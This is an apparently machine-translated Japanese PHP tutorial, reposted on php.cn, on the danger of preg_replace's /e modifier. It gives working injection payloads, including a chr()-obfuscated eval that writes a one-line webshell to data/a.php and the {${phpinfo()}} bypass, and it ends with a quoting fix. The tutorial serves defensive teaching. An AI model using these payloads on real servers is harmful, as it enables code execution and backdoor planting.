preg_replace の危険な /e 修飾子は注意して使用してください (一言でバックドアによく使用されます)_PHP チュートリアル

WBOY
リリース: 2016-07-21 15:05:23
オリジナル
1156 人が閲覧しました

preg_replace 関数のプロトタイプ:

mixed preg_replace (混合パターン、混合置換、混合主語 [, int limit])

特別な命令:
/e 修飾子により、 preg_replace() は置換パラメータを PHP コードとして扱います (適切な後方参照は置き換えられています)。ヒント: 置換によって有効な PHP コード文字列が形成されていることを確認してください。そうでない場合、PHP は preg_replace() を含む行で構文解析エラーを報告します。
例:

コードをコピーします コードは次のとおりです:

preg_replace ("/(]*>) /e",
"1.strtoupper(2).3",
$html_body);
?>


これにより、入力文字列内のすべての HTML タグが大文字になります。

セキュリティ脅威分析:
通常、サブジェクトパラメータはクライアントによって生成され、クライアントは次のような悪意のあるコードを構築する可能性があります:

コードをコピー コードは次のとおりです:



?h=phpinfo() を送信すると、phpinfo() が実行されます ( /e 修飾子、preg_replace は置換パラメーターを PHP コードとして実行します)。
次のコードを送信するとどうなりますか?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112) .chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97) ).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41) ).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr( 118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr( 91)。
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr (59))
暗号文に対応する平文は次のとおりです: fputs(fopen(data/a.php,w),);
実行結果は / にあります。 data / ディレクトリに一文のトロイの木馬ファイル a.php が生成されます。

別の難しい例:



コードをコピーします コードは次のとおりです:
function test($str)
{
}
echo preg_replace("/s*[php] ( .+?)[/php]s*/ies", 'test("1")', $_GET["h"]);
?>


Submit?h=[php]phpinfo( ) [/php]、phpinfo()は実行されるでしょうか?
絶対に違います。通常のマッチングの後、置換パラメータは「test("phpinfo")」になり、現時点では phpinfo は文字列パラメータとしてのみ使用されるためです。
それを実行する方法はありますか?


もちろんです。ここで ?h=[php]{${phpinfo()}}[/php] を送信すると phpinfo() が実行されます。なぜ?
PHP では、二重引用符で囲まれた変数がある場合、PHP インタープリターはそれを変数の解釈の結果に置き換えます。一重引用符で囲まれた変数は処理されません。
注: 二重引用符で囲まれた関数は実行されず、置換されません。

ここでは、関数を実行する効果を得るために、{${}} 'test("{${phpinfo()}}")' を通じて特別な変数を構築する必要があります (${phpinfo()} は解釈されて実行されます)。
最初に次のテストを実行できます:



コードをコピーします コードは次のとおりです:
echo "{${phpinfo()}}";


phpinfo は正常に実行されます。

この脆弱性を防ぐにはどうすればよいですか?
「${phpinfo()}」が通常の文字列として扱われるように、「test("1")」を「test('1')」に変更します (一重引用符で囲まれた変数は処理されません)。

http://www.bkjia.com/PHPjc/327690.html

tru​​ehttp://www.bkjia.com/PHPjc/327690.html技術記事 preg_replace 関数のプロトタイプ: 混合 preg_replace (混合パターン、混合置換、混合主語 [, int 制限]) 特別な命令: /e 修飾子により、preg_replace() は置換パラメーターを次のように処理します
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のおすすめ
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート